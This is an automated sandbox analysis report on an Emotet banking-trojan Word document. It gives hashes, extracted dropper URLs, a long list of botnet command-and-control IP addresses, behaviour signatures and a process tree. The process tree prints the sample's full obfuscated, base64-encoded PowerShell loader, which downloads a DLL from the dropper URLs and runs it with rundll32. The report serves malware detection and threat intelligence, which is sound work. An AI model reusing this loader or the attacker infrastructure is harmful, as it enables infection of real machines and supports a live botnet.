emotet | d5231db757615d38ce982ea1272ef281efc93dc8105418c890e8f9e59d76ef0d

Analysis

max time kernel
136s
max time network
131s
platform
windows10_x64
resource
win10v20201028
submitted
23/12/2020, 10:08

Sharing

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Report Analysis Logs

General

Target
emotet_e2_d5231db757615d38ce982ea1272ef281efc93dc8105418c890e8f9e59d76ef0d_2020-12-23__100405136246._doc.doc
Size 183KB
Sample201223-w2231ve6da
SHA256 d5231db757615d38ce982ea1272ef281efc93dc8105418c890e8f9e59d76ef0d
MD5 f800eb3282c32f8c5c18159bcc54f290
SHA1 9f146c8cda0019a1c7b06d068fae7963915f1024
SHA512 92ca8fda501068c340e8381781d1b5ba01e4c86fd6f04e9384554ca3f65f78a0ff286748c8feed6f0e31ab050ba7c29be0feeada96a64b6d11704752c165a8e5
MD5 SHA1 SHA512

Score

10^/10

emotet epoch2 banker trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://superiorsurfacings.com/pc-not-qgtje/j8T3S/
exe.dropper
http://tenrougroup.com/j/Hb7Wf/
exe.dropper
http://syokmelaram.com/wp-includes/e1/
exe.dropper
http://advokatemelyanov.ru/administrator/OMHpK/
exe.dropper
http://mumglobal.com/content/DF0/
exe.dropper
http://mvldesign.ca/Durani/2lZs/
exe.dropper
https://eytsoft.com/css/Q2k/

Extracted

Family

emotet

Botnet

Epoch2

97.120.3.198:80
70.180.33.202:80
50.116.111.59:8080
173.249.20.233:443
188.165.214.98:8080
172.104.97.173:8080
41.185.28.84:8080
120.150.218.241:443
217.20.166.178:7080
67.10.155.92:80
188.219.31.12:80
120.150.60.189:80
108.21.72.56:443
186.74.215.34:80
144.217.7.207:7080
152.170.205.73:80
49.205.182.134:80
187.161.206.24:80
95.213.236.64:8080
74.40.205.197:443
185.201.9.197:8080
142.112.10.95:20
100.37.240.62:80
178.152.87.96:80
138.68.87.218:443
220.245.198.194:80
62.171.142.179:8080
5.2.212.254:80
115.94.207.99:443
118.83.154.64:443
209.141.54.221:7080
75.143.247.51:80
58.1.242.115:80
87.106.139.101:8080
104.131.11.150:443
78.24.219.147:8080
155.186.9.160:80
2.58.16.89:8080
37.139.21.175:8080
70.92.118.112:80
51.89.36.180:443
172.86.188.251:8080
109.116.245.80:80
72.186.136.247:443
46.105.131.79:8080
74.75.104.224:80
95.9.5.93:80
72.229.97.235:80
174.118.202.24:443
202.134.4.211:8080
37.187.72.193:8080
89.216.122.92:80
201.252.34.3:80
123.176.25.234:80
157.245.99.39:8080
24.178.90.49:80
167.114.153.111:8080
121.124.124.40:7080
139.162.60.124:8080
190.162.215.233:80
181.165.68.127:80
110.145.77.103:80
185.94.252.104:443
85.105.111.166:80
202.141.243.254:443
78.188.225.105:80
64.207.182.168:8080
208.74.26.234:80
190.29.166.0:80
110.145.101.66:443
50.245.107.73:443
172.125.40.123:80
161.0.153.60:80
201.241.127.190:80
62.30.7.67:443
119.59.116.21:8080
79.137.83.50:443
47.144.21.37:80
134.209.144.106:443
74.208.45.104:8080
203.153.216.189:7080
62.75.141.82:80
137.59.187.107:8080
202.134.4.216:8080
172.105.13.66:443
168.235.67.138:7080
190.240.194.77:443
94.23.237.171:443
50.91.114.38:80
139.99.158.11:443
110.145.11.73:80
72.188.173.74:80
5.39.91.110:7080
181.171.209.241:443
61.19.246.238:443
74.128.121.17:80
194.4.58.192:7080
109.74.5.95:8080
200.116.145.225:443
136.244.110.184:8080
67.170.250.203:443
24.69.65.8:8080
139.59.60.244:8080
176.111.60.55:8080
24.179.13.119:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3628	3656	cmd.exe	61

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	2872	powershell.exe
27	3376	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
3216	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Patz\wcrni.cui	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4012	WINWORD.EXE
4012	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2872	powershell.exe
2872	powershell.exe
2872	powershell.exe
3376	rundll32.exe
3376	rundll32.exe
3376	rundll32.exe
3376	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3628 wrote to memory of 3796	3628	cmd.exe	77
PID 3628 wrote to memory of 3796	3628	cmd.exe	77
PID 3628 wrote to memory of 2872	3628	cmd.exe	78
PID 3628 wrote to memory of 2872	3628	cmd.exe	78
PID 2872 wrote to memory of 2076	2872	powershell.exe	79
PID 2872 wrote to memory of 2076	2872	powershell.exe	79
PID 2076 wrote to memory of 3216	2076	rundll32.exe	80
PID 2076 wrote to memory of 3216	2076	rundll32.exe	80
PID 2076 wrote to memory of 3216	2076	rundll32.exe	80
PID 3216 wrote to memory of 3376	3216	rundll32.exe	82
PID 3216 wrote to memory of 3376	3216	rundll32.exe	82
PID 3216 wrote to memory of 3376	3216	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d5231db757615d38ce982ea1272ef281efc93dc8105418c890e8f9e59d76ef0d_2020-12-23__100405136246._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4012

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD UwBlAHQAIAAoACcAVQAnACsAJwAyADYAcwBUACcAKQAgACAAKABbAFQAWQBwAGUAXQAoACIAewAzAH0AewA1AH0AewA0AH0AewAwAH0AewAxAH0AewAyAH0AewA2AH0AIgAtAEYAJwBPAC4AZABpAHIAJwAsACcAZQBjAFQAbwAnACwAJwByACcALAAnAFMAJwAsACcAaQAnACwAJwB5AHMAVABlAE0ALgAnACwAJwB5ACcAKQApACAAOwAgACQAVwBFAHYAYgBoAG8APQBbAHQAeQBQAGUAXQAoACIAewA1AH0AewA3AH0AewAxAH0AewA4AH0AewAwAH0AewA2AH0AewAyAH0AewAzAH0AewA0AH0AIgAgAC0ARgAnAHQALgBTACcALAAnAG0ALgBOACcALAAnAFIAVgAnACwAJwBJAEMARQBQAG8AaQBuAHQAJwAsACcAbQBhAE4AQQBHAEUAUgAnACwAJwBTACcALAAnAEUAJwAsACcAeQBTAFQARQAnACwAJwBlACcAKQAgADsAIAAgACAAcwBlAFQALQBpAHQAZQBNACAAKAAnAHYAQQByACcAKwAnAEkAYQBCAEwARQA6ADMAJwArACcAdwByACcAKQAgACgAWwBUAFkAcABFAF0AKAAiAHsAMwB9AHsANAB9AHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAEYAIAAnAGkAZQAnACwAJwBMACcALAAnAE4AVAAnACwAJwBOAEUAdAAuAHcAJwAsACcAZQBiAGMAJwApACAAIAApADsAIAAkAEsAMgA5AFAAPQAoACcAWgA5ACcAKwAnADgATwAnACkAOwAkAFEAMABvADkAawBzAGcAPQAkAEwANgAzAEsAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE0AMAAyAFYAOwAkAEsAMgBfAFMAPQAoACcAWAAnACsAKAAnADgAOQAnACsAJwBVACcAKQApADsAIAAgACgAbABTACAAKAAnAHYAQQBSAGkAJwArACcAQQBiACcAKwAnAEwARQAnACsAJwA6AFUAMgA2AFMAdAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAYwByAEUAYABBAHQAYABlAGQAaQBgAFIARQBDAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBFAGcAJwArACgAJwB3ACcAKwAnAFIAaAAnACkAKwAnADcAYwAnACsAKAAnAGUAYQAnACsAJwB2AEUAJwArACcAZwB3AEsAYgBlAHMAJwArACcAYwA0AGwARQBnACcAKQArACcAdwAnACkALgAiAFIARQBQAGAAbABBAGMAZQAiACgAKABbAEMAaABhAFIAXQA2ADkAKwBbAEMAaABhAFIAXQAxADAAMwArAFsAQwBoAGEAUgBdADEAMQA5ACkALABbAHMAVAByAEkAbgBnAF0AWwBDAGgAYQBSAF0AOQAyACkAKQApADsAJABXADAAOABJAD0AKAAoACcAQwAnACsAJwA4ADcAJwApACsAJwBNACcAKQA7ACAAJAB3AGUAdgBiAEgATwA6ADoAIgBzAEUAYwBgAFUAYABSAEkAdABgAFkAUAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAxACcAKQArACcAMgAnACkAOwAkAEsAMwA2AEsAPQAoACgAJwBEACcAKwAnADEAXwAnACkAKwAnAFIAJwApADsAJABTAGEAZwBjADUANwBrACAAPQAgACgAJwBRACcAKwAoACcAXwAnACsAJwBfAFcAJwApACkAOwAkAEgAMwAyAEUAPQAoACcASQAnACsAKAAnADEAXwAnACsAJwBVACcAKQApADsAJABaAGMAcQByAHgAawBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwACcAKwAnAH0AUgAnACsAKAAnAGgANwAnACsAJwBjACcAKQArACcAZQAnACsAJwBhAHYAewAwAH0AJwArACgAJwBLAGIAJwArACcAZQBzACcAKwAnAGMANABsACcAKQArACcAewAwAH0AJwApACAAIAAtAGYAIABbAGMAaABhAHIAXQA5ADIAKQArACQAUwBhAGcAYwA1ADcAawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFAAOQAwAFcAPQAoACcAVgA0ACcAKwAnADcARAAnACkAOwAkAEkAdQBoAHQAdwBiAGIAPQAoACgAKAAoACcAKQApAGMAJwArACcAKAAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvAHMAJwApACkAKwAoACcAdQBwAGUAJwArACcAcgBpACcAKQArACgAJwBvAHIAcwB1AHIAZgBhAGMAaQBuAGcAJwArACcAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAcABjACcAKwAnAC0AJwArACcAbgAnACsAJwBvAHQALQBxACcAKQArACcAZwB0ACcAKwAoACcAagBlAC8AagAnACsAJwA4AFQAJwApACsAKAAoACcAMwBTACcAKwAnAC8AQAApACcAKQApACsAKAAoACcAKQBjACcAKQApACsAKAAoACcAKAAnACsAJwAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvACcAKQApACsAKAAnAHQAJwArACcAZQBuACcAKQArACgAJwByAG8AJwArACcAdQAnACkAKwAoACcAZwByAG8AJwArACcAdQBwAC4AYwBvACcAKwAnAG0AJwApACsAJwAvACcAKwAoACcAagAvAEgAJwArACcAYgAnACkAKwAoACgAJwA3ACcAKwAnAFcAZgAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACgAdwAnACsAJwAoADoAJwApACkAKwAoACcALwAnACsAJwAvAHMAeQAnACkAKwAnAG8AawAnACsAJwBtACcAKwAnAGUAbAAnACsAJwBhACcAKwAoACcAcgAnACsAJwBhAG0ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkAGUAJwArACcAcwAnACkAKwAnAC8AZQAnACsAKAAoACcAMQAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAoACcAKQApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAdgAnACsAJwBvACcAKQArACcAawBhACcAKwAnAHQAJwArACgAJwBlAG0AZQAnACsAJwBsACcAKQArACcAeQBhACcAKwAoACcAbgAnACsAJwBvAHYAJwApACsAJwAuACcAKwAoACcAcgAnACsAJwB1AC8AYQAnACkAKwAnAGQAbQAnACsAJwBpACcAKwAnAG4AJwArACgAJwBpAHMAJwArACcAdAByACcAKQArACgAJwBhACcAKwAnAHQAbwAnACsAJwByAC8ATwBNACcAKQArACgAKAAnAEgAJwArACcAcABLAC8AQAAnACsAJwApACkAJwApACkAKwAnAGMAJwArACgAKAAnACgAKAB3ACgAOgAvAC8AJwArACcAbQAnACsAJwB1ACcAKwAnAG0AZwAnACkAKQArACcAbAAnACsAKAAnAG8AYgBhACcAKwAnAGwAJwArACcALgBjAG8AbQAvACcAKwAnAGMAbwBuACcAKQArACgAJwB0ACcAKwAnAGUAbgB0AC8ARAAnACkAKwAoACgAJwBGADAALwAnACsAJwBAACkAKQAnACkAKQArACcAYwAnACsAKAAoACcAKAAoAHcAKAAnACsAJwA6ACcAKQApACsAKAAnAC8ALwAnACsAJwBtACcAKQArACgAJwB2ACcAKwAnAGwAZABlAHMAJwArACcAaQAnACkAKwAoACcAZwBuAC4AYwAnACsAJwBhACcAKQArACgAJwAvACcAKwAnAEQAdQAnACkAKwAoACcAcgBhAG4AJwArACcAaQAvACcAKQArACgAKAAnADIAbAAnACsAJwBaAHMALwBAACkAKQBjACgAJwArACcAKAAnACkAKQArACgAKAAnAHcAJwArACcAKABzADoAJwApACkAKwAnAC8ALwAnACsAJwBlACcAKwAnAHkAJwArACgAJwB0ACcAKwAnAHMAbwBmAHQALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwBjACcAKQArACgAJwBzAHMALwAnACsAJwBRADIAJwApACsAJwBrACcAKwAnAC8AJwApACkALgAiAHIAYABlAFAATABgAEEAQwBlACIAKAAoACgAKAAoACcAKQApACcAKwAnAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAYABQAGwASQB0ACIAKAAkAEcANwA2AEQAIAArACAAJABRADAAbwA5AGsAcwBnACAAKwAgACQAVgA4ADIARQApADsAJABYADAAOQBTAD0AKAAoACcAVwA3ACcAKwAnADUAJwApACsAJwBOACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwA2AHgAZABwAHgAbQAgAGkAbgAgACQASQB1AGgAdAB3AGIAYgApAHsAdAByAHkAewAgACAAJAAzAFcAUgA6ADoAIgBuAGAAZQBXACIAKAApAC4AIgBEAG8AYABXAG4AYABsAG8AYABBAEQAZgBJAEwARQAiACgAJABPADYAeABkAHAAeABtACwAIAAkAFoAYwBxAHIAeABrAGcAKQA7ACQASgA0ADgATwA9ACgAJwBIACcAKwAoACcAMgAnACsAJwAyAEoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgBjAHEAcgB4AGsAZwApAC4AIgBsAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADQANgAwADAAMgApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABaAGMAcQByAHgAawBnACwAJwAjADEAJwAuACIAVABPAHMAdABgAFIAYABJAG4AZwAiACgAKQA7ACQASQAwADAASwA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEQAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAOQA3AFkAPQAoACgAJwBCACcAKwAnADMANwAnACkAKwAnAEwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYADIAOQBSAD0AKAAoACcAWAAnACsAJwBfADIAJwApACsAJwBBACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:3796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POwersheLL -w hidden -ENCOD UwBlAHQAIAAoACcAVQAnACsAJwAyADYAcwBUACcAKQAgACAAKABbAFQAWQBwAGUAXQAoACIAewAzAH0AewA1AH0AewA0AH0AewAwAH0AewAxAH0AewAyAH0AewA2AH0AIgAtAEYAJwBPAC4AZABpAHIAJwAsACcAZQBjAFQAbwAnACwAJwByACcALAAnAFMAJwAsACcAaQAnACwAJwB5AHMAVABlAE0ALgAnACwAJwB5ACcAKQApACAAOwAgACQAVwBFAHYAYgBoAG8APQBbAHQAeQBQAGUAXQAoACIAewA1AH0AewA3AH0AewAxAH0AewA4AH0AewAwAH0AewA2AH0AewAyAH0AewAzAH0AewA0AH0AIgAgAC0ARgAnAHQALgBTACcALAAnAG0ALgBOACcALAAnAFIAVgAnACwAJwBJAEMARQBQAG8AaQBuAHQAJwAsACcAbQBhAE4AQQBHAEUAUgAnACwAJwBTACcALAAnAEUAJwAsACcAeQBTAFQARQAnACwAJwBlACcAKQAgADsAIAAgACAAcwBlAFQALQBpAHQAZQBNACAAKAAnAHYAQQByACcAKwAnAEkAYQBCAEwARQA6ADMAJwArACcAdwByACcAKQAgACgAWwBUAFkAcABFAF0AKAAiAHsAMwB9AHsANAB9AHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAEYAIAAnAGkAZQAnACwAJwBMACcALAAnAE4AVAAnACwAJwBOAEUAdAAuAHcAJwAsACcAZQBiAGMAJwApACAAIAApADsAIAAkAEsAMgA5AFAAPQAoACcAWgA5ACcAKwAnADgATwAnACkAOwAkAFEAMABvADkAawBzAGcAPQAkAEwANgAzAEsAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE0AMAAyAFYAOwAkAEsAMgBfAFMAPQAoACcAWAAnACsAKAAnADgAOQAnACsAJwBVACcAKQApADsAIAAgACgAbABTACAAKAAnAHYAQQBSAGkAJwArACcAQQBiACcAKwAnAEwARQAnACsAJwA6AFUAMgA2AFMAdAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAYwByAEUAYABBAHQAYABlAGQAaQBgAFIARQBDAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBFAGcAJwArACgAJwB3ACcAKwAnAFIAaAAnACkAKwAnADcAYwAnACsAKAAnAGUAYQAnACsAJwB2AEUAJwArACcAZwB3AEsAYgBlAHMAJwArACcAYwA0AGwARQBnACcAKQArACcAdwAnACkALgAiAFIARQBQAGAAbABBAGMAZQAiACgAKABbAEMAaABhAFIAXQA2ADkAKwBbAEMAaABhAFIAXQAxADAAMwArAFsAQwBoAGEAUgBdADEAMQA5ACkALABbAHMAVAByAEkAbgBnAF0AWwBDAGgAYQBSAF0AOQAyACkAKQApADsAJABXADAAOABJAD0AKAAoACcAQwAnACsAJwA4ADcAJwApACsAJwBNACcAKQA7ACAAJAB3AGUAdgBiAEgATwA6ADoAIgBzAEUAYwBgAFUAYABSAEkAdABgAFkAUAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAxACcAKQArACcAMgAnACkAOwAkAEsAMwA2AEsAPQAoACgAJwBEACcAKwAnADEAXwAnACkAKwAnAFIAJwApADsAJABTAGEAZwBjADUANwBrACAAPQAgACgAJwBRACcAKwAoACcAXwAnACsAJwBfAFcAJwApACkAOwAkAEgAMwAyAEUAPQAoACcASQAnACsAKAAnADEAXwAnACsAJwBVACcAKQApADsAJABaAGMAcQByAHgAawBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwACcAKwAnAH0AUgAnACsAKAAnAGgANwAnACsAJwBjACcAKQArACcAZQAnACsAJwBhAHYAewAwAH0AJwArACgAJwBLAGIAJwArACcAZQBzACcAKwAnAGMANABsACcAKQArACcAewAwAH0AJwApACAAIAAtAGYAIABbAGMAaABhAHIAXQA5ADIAKQArACQAUwBhAGcAYwA1ADcAawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFAAOQAwAFcAPQAoACcAVgA0ACcAKwAnADcARAAnACkAOwAkAEkAdQBoAHQAdwBiAGIAPQAoACgAKAAoACcAKQApAGMAJwArACcAKAAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvAHMAJwApACkAKwAoACcAdQBwAGUAJwArACcAcgBpACcAKQArACgAJwBvAHIAcwB1AHIAZgBhAGMAaQBuAGcAJwArACcAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAcABjACcAKwAnAC0AJwArACcAbgAnACsAJwBvAHQALQBxACcAKQArACcAZwB0ACcAKwAoACcAagBlAC8AagAnACsAJwA4AFQAJwApACsAKAAoACcAMwBTACcAKwAnAC8AQAApACcAKQApACsAKAAoACcAKQBjACcAKQApACsAKAAoACcAKAAnACsAJwAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvACcAKQApACsAKAAnAHQAJwArACcAZQBuACcAKQArACgAJwByAG8AJwArACcAdQAnACkAKwAoACcAZwByAG8AJwArACcAdQBwAC4AYwBvACcAKwAnAG0AJwApACsAJwAvACcAKwAoACcAagAvAEgAJwArACcAYgAnACkAKwAoACgAJwA3ACcAKwAnAFcAZgAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACgAdwAnACsAJwAoADoAJwApACkAKwAoACcALwAnACsAJwAvAHMAeQAnACkAKwAnAG8AawAnACsAJwBtACcAKwAnAGUAbAAnACsAJwBhACcAKwAoACcAcgAnACsAJwBhAG0ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkAGUAJwArACcAcwAnACkAKwAnAC8AZQAnACsAKAAoACcAMQAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAoACcAKQApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAdgAnACsAJwBvACcAKQArACcAawBhACcAKwAnAHQAJwArACgAJwBlAG0AZQAnACsAJwBsACcAKQArACcAeQBhACcAKwAoACcAbgAnACsAJwBvAHYAJwApACsAJwAuACcAKwAoACcAcgAnACsAJwB1AC8AYQAnACkAKwAnAGQAbQAnACsAJwBpACcAKwAnAG4AJwArACgAJwBpAHMAJwArACcAdAByACcAKQArACgAJwBhACcAKwAnAHQAbwAnACsAJwByAC8ATwBNACcAKQArACgAKAAnAEgAJwArACcAcABLAC8AQAAnACsAJwApACkAJwApACkAKwAnAGMAJwArACgAKAAnACgAKAB3ACgAOgAvAC8AJwArACcAbQAnACsAJwB1ACcAKwAnAG0AZwAnACkAKQArACcAbAAnACsAKAAnAG8AYgBhACcAKwAnAGwAJwArACcALgBjAG8AbQAvACcAKwAnAGMAbwBuACcAKQArACgAJwB0ACcAKwAnAGUAbgB0AC8ARAAnACkAKwAoACgAJwBGADAALwAnACsAJwBAACkAKQAnACkAKQArACcAYwAnACsAKAAoACcAKAAoAHcAKAAnACsAJwA6ACcAKQApACsAKAAnAC8ALwAnACsAJwBtACcAKQArACgAJwB2ACcAKwAnAGwAZABlAHMAJwArACcAaQAnACkAKwAoACcAZwBuAC4AYwAnACsAJwBhACcAKQArACgAJwAvACcAKwAnAEQAdQAnACkAKwAoACcAcgBhAG4AJwArACcAaQAvACcAKQArACgAKAAnADIAbAAnACsAJwBaAHMALwBAACkAKQBjACgAJwArACcAKAAnACkAKQArACgAKAAnAHcAJwArACcAKABzADoAJwApACkAKwAnAC8ALwAnACsAJwBlACcAKwAnAHkAJwArACgAJwB0ACcAKwAnAHMAbwBmAHQALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwBjACcAKQArACgAJwBzAHMALwAnACsAJwBRADIAJwApACsAJwBrACcAKwAnAC8AJwApACkALgAiAHIAYABlAFAATABgAEEAQwBlACIAKAAoACgAKAAoACcAKQApACcAKwAnAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAYABQAGwASQB0ACIAKAAkAEcANwA2AEQAIAArACAAJABRADAAbwA5AGsAcwBnACAAKwAgACQAVgA4ADIARQApADsAJABYADAAOQBTAD0AKAAoACcAVwA3ACcAKwAnADUAJwApACsAJwBOACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwA2AHgAZABwAHgAbQAgAGkAbgAgACQASQB1AGgAdAB3AGIAYgApAHsAdAByAHkAewAgACAAJAAzAFcAUgA6ADoAIgBuAGAAZQBXACIAKAApAC4AIgBEAG8AYABXAG4AYABsAG8AYABBAEQAZgBJAEwARQAiACgAJABPADYAeABkAHAAeABtACwAIAAkAFoAYwBxAHIAeABrAGcAKQA7ACQASgA0ADgATwA9ACgAJwBIACcAKwAoACcAMgAnACsAJwAyAEoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgBjAHEAcgB4AGsAZwApAC4AIgBsAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADQANgAwADAAMgApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABaAGMAcQByAHgAawBnACwAJwAjADEAJwAuACIAVABPAHMAdABgAFIAYABJAG4AZwAiACgAKQA7ACQASQAwADAASwA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEQAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAOQA3AFkAPQAoACgAJwBCACcAKwAnADMANwAnACkAKwAnAEwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYADIAOQBSAD0AKAAoACcAWAAnACsAJwBfADIAJwApACsAJwBBACcAKQA=
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rh7ceav\Kbesc4l\Q__W.dll,#1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2076
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rh7ceav\Kbesc4l\Q__W.dll,#1
      4⤵
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:3216
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Patz\wcrni.cui",RunDLL
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3376

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2872-5-0x00007FFFE7590000-0x00007FFFE7F7C000-memory.dmp

Download

memory/2872-6-0x000001F1175D0000-0x000001F1175D1000-memory.dmp

Download

memory/2872-7-0x000001F12F7C0000-0x000001F12F7C1000-memory.dmp

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memory/3216-12-0x0000000000870000-0x000000000088F000-memory.dmp

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memory/3376-14-0x0000000000CB0000-0x0000000000CCF000-memory.dmp

Download

memory/4012-2-0x00007FFFEFA50000-0x00007FFFF0087000-memory.dmp

Download